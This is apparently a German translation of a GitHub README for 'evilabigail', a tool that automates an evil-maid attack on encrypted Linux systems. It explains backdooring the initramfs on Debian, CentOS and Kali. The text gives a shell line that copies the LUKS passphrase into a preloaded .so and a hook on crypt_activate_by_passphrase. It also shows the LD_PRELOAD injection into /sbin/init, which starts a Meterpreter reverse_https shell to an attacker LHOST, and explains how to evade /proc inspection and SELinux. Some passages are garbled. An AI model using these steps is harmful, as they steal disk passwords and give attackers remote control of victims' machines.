strozfriedberg/evilabigailAutomatisierter Linux-Evil-Maid-Angriff
.so-Datei in /sbin/init beim Booten, wodurch eine Shell geöffnet wirdLD_PRELOAD .so in DefaultEnviroment, global geladen, wodurch eine Shell geöffnet wirdpython/meterpreter/reverse_https zur Kompilierzeit LHOSTgetenv PASSWORD)Siehe Makefile für weitere Informationen/Konfiguration. LHOST ist in der Umgebung erforderlich, um die .so zu bauen, da msfvenom zur Kompilierzeit eingeleitet wird. Außerdem muss libcrypsetup-dev (oder äquivalent) auf dem Build-Rechner installiert sein.
Allgemeine Anleitung (erzeugt ISO-Image im aktuellen Verzeichnis):
LHOST=192.168.56.101 make rev.so iso
Die folgenden Optionen wurden dem Kernel-Boot angehängt:
mc superuser nodhcp quiet loglevel=0
Außerdem wurde der prompt-Wert auf 0 gesetzt, um eine vollautomatische Ausführung zu ermöglichen.
Ungefähre Zeit von bösartigem Booten bis zur hinterlegten Hintertür: ~2 Minuten Ungefähre Zeit von legitimem Booten bis zur Shell: ~90 Sekunden (konfigurierbar, wir möchten, dass das Netzwerk vor uns aktiv ist)
core.d ist ein entpacktes core.gz von TinyCore mit den unten aufgeführten Paketen.
Core-current ist ein entpacktes Core-current.iso
Die folgenden Pakete wurden innerhalb von TinyCore installiert (Python, Dateisystemunterstützung):
Mindestens ist die Signatur wie folgt:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS ist ein eindeutiger Name für dieses Betriebssystem.IDENTIFIER ist ein Shell-Befehl, der einen Exit-Code 0 zurückgibt, wenn er gegen die richtige initrd ausgeführt wird, und !0 für alles andere.ROOT ist der vollständige Pfad oder die Variable, wo das neue Root nach der Entschlüsselung eingehängt wird.FILENAME ist der vollständige Pfad, um unsere Binärdatei auf dem Root-Dateisystem abzulegen. Achten Sie darauf zu wissen, was initrd einhängt und was später eingehängt wird.INITRDFILENAME ist der vollständige Pfad der Binärdatei innerhalb der initrd. Dies wird innerhalb des Makefile kopiert (cp ... core.d/...), daher sollte es damit übereinstimmen.Danach wird jedes Tripel von *FILE, *PRE, *POST gegen die initrd als re.sub ausgeführt (z.B. re.sub(*PRE, *POST, *FILE)). Der Inhalt von *PRE und *POST wird mit .format(**config[detectedOS]) erweitert, also können Sie Ihre Signatur erweitern, um Elemente einzufügen.
Es gibt keine Begrenzung für die Anzahl der Ersetzungen, die Sie durchführen können.
\\1 wird zu den vollständigen Inhalten des Treffers (*PRE) erweitert, wenn es innerhalb der Ersetzung (*POST) verwendet wird.| $Die Metasploit-Nutzlast python/meterpreter/reverse_https wurde gewählt, da sie plattformunabhängiger ist als die Nutzlasten linux/*/meterpreter/reverse_tcp. Python scheint standardmäßig auf allen getesteten Systemen installiert zu sein.
Standardmäßig wird die Nutzlast zur Kompilierzeit generiert und als #define in die .c-Datei eingeleitet. Dies erleichtert Iterationen, aber es sollte nicht schwer sein, die Nutzlast zu speichern und manuell einzufügen.
Debian-basierte Systeme (Debian, Ubuntu usw.) verwenden ein standardmäßig gzip-komprimiertes CPIO-Image als Initramfs. Dieses enthält das standardmäßige /init-Skript, das die Vorbereitung des Systems für den vollständigen Bootvorgang durchläuft. Dazu gehört die Aufforderung des Benutzers zur Eingabe seines Passworts und das Einhängen des verschlüsselten Root-Dateisystems.
Um unsere .so abzulegen, warten wir, bis das Root-Dateisystem eingehängt wurde (also nachdem der Benutzer nach seinem Passwort gefragt wurde), und kopieren die .so in das /dev-Dateisystem. Das /dev-Dateisystem wurde gewählt, da es kurz vor dem Umschalten des Root-Dateisystems zugänglich ist und auf RAM basiert. Das bedeutet, dass unsere .so keine Festplatte berührt.
Um die abgelegte .so tatsächlich zu verwenden, setzen wir dann die Umgebungsvariable LD_PRELOAD beim Aufruf von switch_root. Diese Variable wird an alle untergeordneten ausführbaren Programme weitergegeben, sodass das endgültige Skript /sbin/init das Modul geladen hat. Um dies relativ leise zu halten, überprüfen wir, ob wir in /sbin/init geladen sind, und wenn ja, löschen wir die LD_PRELOAD-Variable und entfernen die .so. Diese Funktionalität kann leicht deaktiviert werden, wenn wir bestimmte Anwendungen hooken möchten.
Um die Ausführung der .so zu erzwingen, verwenden wir standardmäßig nach dem Laden das gcc-Flag -Wl,-init,shell, wobei shell unsere Hauptfunktion ist. Dies gibt an, welche Funktion beim Initialisieren der .so aufgerufen werden soll. Denken Sie daran als Analogon zu Windows' DllMain.
Der Teil des init-Skripts, der für die Aufforderung des Benutzers zur Eingabe seines Passworts und das Einhängen des Root-Dateisystems zuständig ist, ist wie folgt:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
Der wichtige Teil für uns ist, wo die Ausgabe von $cryptkeyscript in $cryptcreate weitergeleitet wird. $cryptkeyscript ist der Passwortabfrager, und $cryptcreate ist der Datenträger-Einhänger. Diese Pipe macht es uns sehr einfach, anzugreifen. Wir fügen den folgenden Code dort ein, wo die Pipe ist, um das Passwort an das Ende unserer .so zu schreiben:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Dies liest das Passwort in die Variable $P und schreibt es sowohl an das Ende der .so als auch gibt es wieder aus. Dieser Code wird für die Zwecke von $cryptkeyscript und $cryptcreate transparent sein, aber er wird den Nebeneffekt haben, das Passwort zu exfiltrieren. Wir verwenden \\\\\\\\x00, um dem Passwort ein Nullbyte voranzustellen (unter Berücksichtigung vieler Ebenen von Shell-Escaping). Dies macht es für unsere .so viel einfacher, das Passwort zurückzulesen, da sie nur rückwärts vom Ende bis zu einem Nullbyte lesen muss.
Um dieses Passwort dem Angreifer bereitzustellen, wird es als Umgebungsvariable beim Aufruf der Nutzlast verwendet. Das bedeutet, dass der Angreifer einfach den Meterpreter-Befehl getenv PASSWORD verwenden kann, um das Passwort abzurufen.
Aufgrund der Art und Weise, wie die .so geladen wird, gibt es Referenzen darauf sowohl in /proc/1/maps als auch in /proc/1/environ.
Die Datei maps ist eine Liste geladener Module. Der folgende Auszug zeigt den Inhalt dieser Datei. Beachten Sie das (deleted), könnte möglicherweise Verdacht erregen. Allerdings ist es im Gegensatz zu normalen Binärdateien nicht möglich, auf die .so zuzugreifen, ohne sie direkt aus dem Speicher herauszuschneiden, nachdem sie gelöscht wurde.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
Die Datei environ ist eine mit NULL getrennte Liste von Umgebungsvariablen zum Zeitpunkt des Aufrufs. Da sie vom Aufruf stammt, werden alle Änderungen, die wir zur Laufzeit vornehmen (Löschen von LD_PRELOAD), nicht widergespiegelt.
In beiden Fällen könnten wir, da wir in jeden Systemprozess eingehakt werden können, einfach die read(2)-Funktion hooken und alle Verweise auf uns entfernen.
Kali ist eine Art Sonderfall. Es hat das verkettete CPIO, wie unten erwähnt, verwendet aber nicht systemd zum Booten. Daher wurde die DRACUT-OS-Regel verallgemeinert, sodass sie blind extrahiert, und dann fängt die zweite Betriebssystemerkennung Kali.
Wenn Sie ein Betriebssystem mit einem CPIO hinzufügen, das nur kernel/x86/microcode/GenuineIntel.bin enthält, sollte die IDENTIFIER-Regel für das angehängte CPIO gelten, da wir es automatisch finden und extrahieren.
Diese Systeme haben ein anderes Format für ihr Initrd-Image im Vergleich zu Debian-basierten Systemen. Die Initrd-Dateien, die in /boot gespeichert sind, sind ein fast leeres CPIO-Archiv, an das ein gzip-komprimiertes CPIO-Archiv angehängt ist. Dieses zweite Archiv enthält das initramfs. Um dieses zweite Archiv zu entpacken, ist es notwendig, das erste CPIO-Archiv zu parsen, um das Ende zu finden. Alternativ können Sie die Zeichenfolge TRAILER!!! finden und weiterlesen, bis Sie den gzip-Magic (\x1f\x8b) finden.
Ein weiterer Unterschied dieser Systeme ist, dass sie systemd-basiert sind, und daher ist das /init-Executable im initramfs ein Symlink auf die systemd-Binärdatei und kein flaches sh-Skript. Um diese Einschränkung zu umgehen, ist es notwendig, die .service-Dateien zu modifizieren, die sich auf das Einhängen des Root-Dateisystems beziehen.
Die Datei usr/lib/systemd/system/initrd-switch-root.service enthält das Skript, das verwendet wird, um auf das neu entschlüsselte Root zu pivotieren. Mit der ExecStartPre-Pragma ist es möglich, andere Programme auszuführen, bevor die Pivotierung stattfindet.
SELinux ist auf CentOS vorhanden und schränkt die Verwendung von LD_PRELOAD ein. Ein funktionierender Pfad ist /lib. Dieser wurde durch Lesen der Datei /etc/selinux/targeted/modules/active/file_contexts für einen mit system_u:object_r:lib_t gekennzeichneten Speicherort gefunden.
Da systemd clearenv() aufruft, bevor das Root gewechselt wird, wird unsere LD_PRELOAD-Variable gelöscht. Um dies zu umgehen, können wir clearenv() hooken und die Umgebung immer nur mit LD_PRELOAD ersetzen. Um dies zu erreichen, müssen wir jedoch PID 1 innerhalb der Initrd sein. Dies ist schwieriger, da es nicht möglich ist, LD_PRELOAD in diesen Prozess zu laden. Um dies zu umgehen, haben wir /init durch ein Bash-Shell-Skript wie folgt ersetzt:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
Dies funktioniert, weil /init nur ein Symlink auf /usr/lib/systemd/systemd ist. exec wird verwendet, damit der Prozess die übergeordnete PID (1) behält.
Sobald dies implementiert ist und clearenv() neutralisiert ist, ist es möglich, LD_PRELOAD für die echte PID 1 im neuen Root zu setzen.
Systemd behandelt Passwörter für verschlüsselte Dateisysteme völlig anders als Debian-basierte Init-Skripte. Die Passwörter werden über Unix-Sockets ausgetauscht, die es ermöglichen, Anmeldeinformationen zu senden. Um diese Komplexität zu umgehen, fanden wir die einfachste Methode, um auf das Passwort zuzugreifen, war, die Funktion crypt_activate_by_passphrase von libcryptsetup zu hooken. Die relevanten Teile der Funktionsdeklaration sind wie folgt:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
Um auf das Passwort zuzugreifen, hooken wir einfach diese Funktion, speichern passphrase in einer Datei und rufen die ursprüngliche Funktion auf, die durch dlsym(RTLD_NEXT, ...) erhalten wird. Wie oben hängen wir unser Passwort an die .so an, sodass sie sich selbst parsen und das Passwort für Meterpreter zugänglich machen kann.
Wie oben erscheint die .so in /proc/1/maps, /proc/1/environ und der ps-Ausgabe.